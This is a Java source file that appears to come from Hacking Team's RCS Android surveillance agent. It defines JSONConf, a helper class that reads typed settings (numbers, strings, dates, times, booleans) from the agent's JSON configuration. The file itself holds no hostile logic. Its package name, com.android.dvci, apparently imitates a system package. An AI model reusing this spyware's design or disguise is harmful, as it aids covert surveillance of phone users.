/* ******************************************* * Copyright (c) 2011 * HT srl, All rights reserved. * Project : RCS, AndroidService * File : RunningConf.java * Created : 6-mag-2011 * Author : zeno * *******************************************/ package com.android.dvci.conf; import java.text.DateFormat; import java.text.ParseException; import java.text.SimpleDateFormat; import java.util.Date; import java.util.TimeZone; import org.json.JSONException; import org.json.JSONObject; import com.android.dvci.auto.Cfg; import com.android.dvci.util.Check; /** * Interface used by AgentConf and EventConf * * @author zeno * */ public abstract class JSONConf { private static final String TAG = "JSONConf"; protected String type; /** Parameters. */ private final JSONObject params; public JSONConf(String type, JSONObject params) { this.params = params; this.type = type; } public String getType() { return type; } public int getInt(String key) throws ConfigurationException { try { return params.getInt(key); } catch (JSONException e) { if (Cfg.EXCEPTION) { Check.log(e); } if (Cfg.DEBUG) { Check.log(e); Check.log(TAG + " (getInt) Error: " + e); } throw new ConfigurationException(); } } public double getDouble(String key) throws ConfigurationException { try { return params.getDouble(key); } catch (JSONException e) { if (Cfg.EXCEPTION) { Check.log(e); } if (Cfg.DEBUG) { Check.log(e); Check.log(TAG + " (getInt) Error: " + e); } throw new ConfigurationException(); } } public String getString(String key) throws ConfigurationException { try { return params.getString(key); } catch (JSONException e) { if (Cfg.EXCEPTION) { Check.log(e); } if (Cfg.DEBUG) { Check.log(e); Check.log(TAG + " (getInt) Error: " + e); } throw new ConfigurationException(); } } public String getString(String key, String defaultValue) { try { return getString(key); } catch (ConfigurationException e) { if (Cfg.DEBUG) { Check.log(TAG + " (getString), default: " + defaultValue); } return defaultValue; } } public Date getDate(String key) throws ConfigurationException { String dateToParse; try { dateToParse = (String) params.get(key); } catch (JSONException e) { if (Cfg.DEBUG) { Check.log(TAG + " (getDate) Error: " + e); } throw new ConfigurationException(); } if (dateToParse.length() == 18) { dateToParse = dateToParse.substring(0, 11) + "0" + dateToParse.substring(11); } if ("0000-00-00 00:00:00".equals(dateToParse)) { if (Cfg.DEBUG) { Check.log(TAG + " (getDate): null date"); } return new Date(Long.MAX_VALUE); } Date formatter; try { DateFormat dateFormat = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss"); dateFormat.setTimeZone(TimeZone.getTimeZone("UTC")); formatter = dateFormat.parse(dateToParse); } catch (ParseException e) { if (Cfg.DEBUG) { Check.log(TAG + " (getDate): "); } throw new ConfigurationException(); } return formatter; } public Date getDate(String key, Date defValue) { try { return getDate(key); } catch (Exception ex) { if (Cfg.DEBUG) { Check.log(TAG + " (getDate): default"); } return defValue; } } public int getSeconds(String key) throws ConfigurationException { // "13:45:00" String dateToParse; try { dateToParse = (String) params.get(key); } catch (JSONException e) { if (Cfg.DEBUG) { Check.log(TAG + " (getSeconds) Error: " + e); } throw new ConfigurationException(); } int hourlen = 2; if (dateToParse.length() == 7) { hourlen = 1; } try { int hour = Integer.parseInt(dateToParse.substring(0, hourlen)); int minutes = Integer.parseInt(dateToParse.substring(hourlen + 1, hourlen + 3)); int seconds = Integer.parseInt(dateToParse.substring(hourlen + 4, hourlen + 6)); return hour * 3600 + minutes * 60 + seconds; } catch (NumberFormatException ex) { if (Cfg.DEBUG) { Check.log(TAG + " (getSeconds) Error: " + ex); } throw new ConfigurationException(); } } public boolean getBoolean(String key) throws ConfigurationException { try { return params.getBoolean(key); } catch (JSONException e) { if (Cfg.EXCEPTION) { Check.log(e); } if (Cfg.DEBUG) { Check.log(e); Check.log(TAG + " (getInt) Error: " + e); } throw new ConfigurationException(); } } public boolean getBoolean(String key, boolean defValue) { try { return params.getBoolean(key); } catch (Exception e) { return defValue; } } public String getArrayString(String key, String subkey) throws ConfigurationException { try { JSONObject hash = params.getJSONObject(key); return hash.getString(subkey); } catch (JSONException e) { if (Cfg.EXCEPTION) { Check.log(e); } if (Cfg.DEBUG) { Check.log(e); Check.log(TAG + " (getInt) Error: " + e); } throw new ConfigurationException(); } } public String getSafeString(String key) { try { return params.getString(key); } catch (JSONException e) { return null; } } public ChildConf getChild(String child) { JSONObject c = null; try { c = params.getJSONObject(child); } catch (JSONException e) { } ChildConf conf = new ChildConf(c); return conf; } public boolean has(String name) { return params.has(name); } @Override public String toString() { return params.toString(); } }